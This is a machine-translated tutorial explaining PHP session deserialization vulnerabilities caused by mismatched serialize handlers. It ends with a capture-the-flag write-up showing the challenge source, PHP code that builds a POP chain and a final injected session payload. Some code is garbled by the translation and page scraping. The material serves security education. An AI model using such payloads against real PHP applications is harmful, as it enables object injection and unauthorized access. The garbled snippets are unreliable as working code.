This article mainly introduces the session deserialization vulnerability of PHP. Friends in need can refer to it
There are three configuration items in php.ini:
session.save_path="" --设置session的存储路径 session.save_handler="" --设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式) session.auto_start boolen --指定会话模块是否在请求开始时启动一个会话,默认为0不启动 session.serialize_handler string --定义用来序列化/反序列化的处理器名字。默认使用php
The above options are options related to Session storage and sequence storage in PHP.
In the installation using the xampp component, the settings of the above configuration items are as follows:
session.save_path="D:\xampp\tmp" 表明所有的session文件都是存储在xampp/tmp下 session.save_handler=files 表明session是以文件的方式来进行存储的 session.auto_start=0 表明默认不启动session session.serialize_handler=php 表明session的默认序列话引擎使用的是php序列话引擎
In the above configuration, session.serialize_handler is used to set The sequence of sessions depends on the engine. In addition to the default PHP engine, there are other engines. The storage methods of sessions corresponding to different engines are different.
php_binary: The storage method is, the ASCII character corresponding to the length of the key name + the key name + the value serialized by the serialize() function
php: The storage method is, key Name + vertical bar + value serialized by the serialize() function
php_serialize(php>5.5.4): The storage method is, value serialized by the serialize() function
The PHP engine is used by default in PHP. If you want to change it to another engine, you only need to add the code ini_set('session.serialize_handler', 'The engine that needs to be set');. The sample code is as follows:
The session directory is in /var/lib/php/sessions
<?php ini_set('session.serialize_handler', 'php_serialize'); session_start(); $_SESSION['name'] = 'spoock'; var_dump($_SESSION);
Under the php_serialize engine, the data stored in the session file For:
a:1:{s:4:"name";s:6:"spoock";}
php The file content under the engine is:
name|s:6:"spoock";
php_binary The file content under the engine is:
names:6:"spoock";
Since the length of name is 4, 4 corresponds to EOT in the ASCII table. According to the storage rules of php_binary, the last one is names:6:"spoock";. (Suddenly I found that characters with an ASCII value of 4 cannot be displayed on the web page. Please check the ASCII table yourself)
Serialization hazards in PHP Session
There is no problem with the implementation of Session in PHP. The harm is mainly caused by improper use of Session by programmers.
If the engine used by PHP to deserialize the stored $_SESSION data is different from the engine used for serialization, the data will not be deserialized correctly. Through carefully constructed data packets, it is possible to bypass program verification or execute some system methods. For example:
$_SESSION['ryat'] = '|O:1:"A":1:{s:1:"a";s:2:"xx";}';
php file such as:
Copy after login
After accessing, the content of the session file is as follows:
root/var/lib/php/sessions cat sess_e07gghbkcm0etit02bkjlbhac6 a:1:{s:4:"ryat";s:30:"|O:1:"A":1:{s:1:"a";s:2:"xx";}
But at this time, when the simulation uses different php engines to read other pages, the content is as follows: (The default is to use the php engine to read the session file)
a; } } // var_dump($_SESSION);
Access this page and output xx
xxarray(1) { ["a:1:{s:4:"ryat";s:30:""]=> object(A)#1 (1) { ["a"]=> string(2) "xx" } }
This is because when using the php engine, the php engine will use | as As the separator between key and value, then a:1:{s:4:"ryat";s:30:" will be used as the key of SESSION, and O:1:"A":1:{s:1 :"a";s:2:"xx";} as value, and then deserialize, and finally you will get the class A
This is used for serialization and deserialization. The different engines are the cause of the PHP Session serialization vulnerability. When loading a page using the PHP engine, the session reads the content in the session and deserializes it, causing the vulnerability to be triggered without any output.
Analysis of a session deserialization vulnerability on GCTF:
The content in index.php is:
<?php //error_reporting(E_ERROR & ~E_NOTICE); ini_set('session.serialize_handler', 'php_serialize'); header("content-type;text/html;charset=utf-8"); session_start(); if(isset($_GET['src'])){ $_SESSION['src'] = $_GET['src']; highlight_file(FILE); print_r($_SESSION['src']); } ?> <!DOCTYPE HTML> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>代码审计2</title> </head> <body>
In PHP, serialization operations are often used to access data, but if not handled properly during the serialization process, it will cause some security risks
<form action="./query.php" method="POST"> <input type="text" name="ticket" /> <input type="submit" /> </form> <a href="./?src=1">查看源码</a> </body> </html>
##
/************************/ /* //query.php 部分代码 session_start(); header('Look me: edit by vim ~0~') //...... class TOPA{ public $token; public $ticket; public $username; public $password; function login(){ //if($this->username == $USERNAME && $this->password == $PASSWORD){ //抱歉 $this->username =='aaaaaaaaaaaaaaaaa' && $this->password == 'bbbbbbbbbbbbbbbbbb'){ return 'key is:{'.$this->token.'}'; } } } class TOPB{ public $obj; public $attr; function construct(){ $this->attr = null; $this->obj = null; } function toString(){ $this->obj = unserialize($this->attr); $this->obj->token = $FLAG; if($this->obj->token === $this->obj->ticket){ return (string)$this->obj; } } } class TOPC{ public $obj; public $attr; function wakeup(){ $this->attr = null; $this->obj = null; } function destruct(){ echo $this->attr; } } */
The idea is as follows:This In the question, we construct a TOPC, and when it is destructed, it will call
echo $this->attr;;
assign attr to the TOPB object, in echo TOPB When tostring
, because token and ticket are used later, so obviously It is a TOPA object. Later judgment requires $this->obj->token === $this->obj->ticket
, so use pointer reference during serialization. $a->ticket = &$a->token;, you can bypass the judgment
As for why
(string)$this->obj
There will be a wakeup() function in the deserialization
string
$testa = new TOPA(); $testc = new TOPC(); $testb = new TOPB(); $testa->username = 0; $testa->password = 0; $testa->ticket = &$testa->token; $sa = serialize($testa); $testc->attr = $testb; $testb->attr = $sa; $test = serialize($testc); echo $test;
The final payload is:
|O:4:"TOPC":3:{s:3:"obj";N;s:4:"attr";O:4:"TOPB":2:{s:3:"obj";N;s:4:"attr";s:84:"O:4:"TOPA":4:{s:5:"token";N;s:6:"ticket";R:2;s:8:"username";i:0;s:8:"password";i:0;}";}}
The above is the detailed content of A brief discussion on session deserialization vulnerability in PHP. For more information, please follow other related articles on the PHP Chinese website!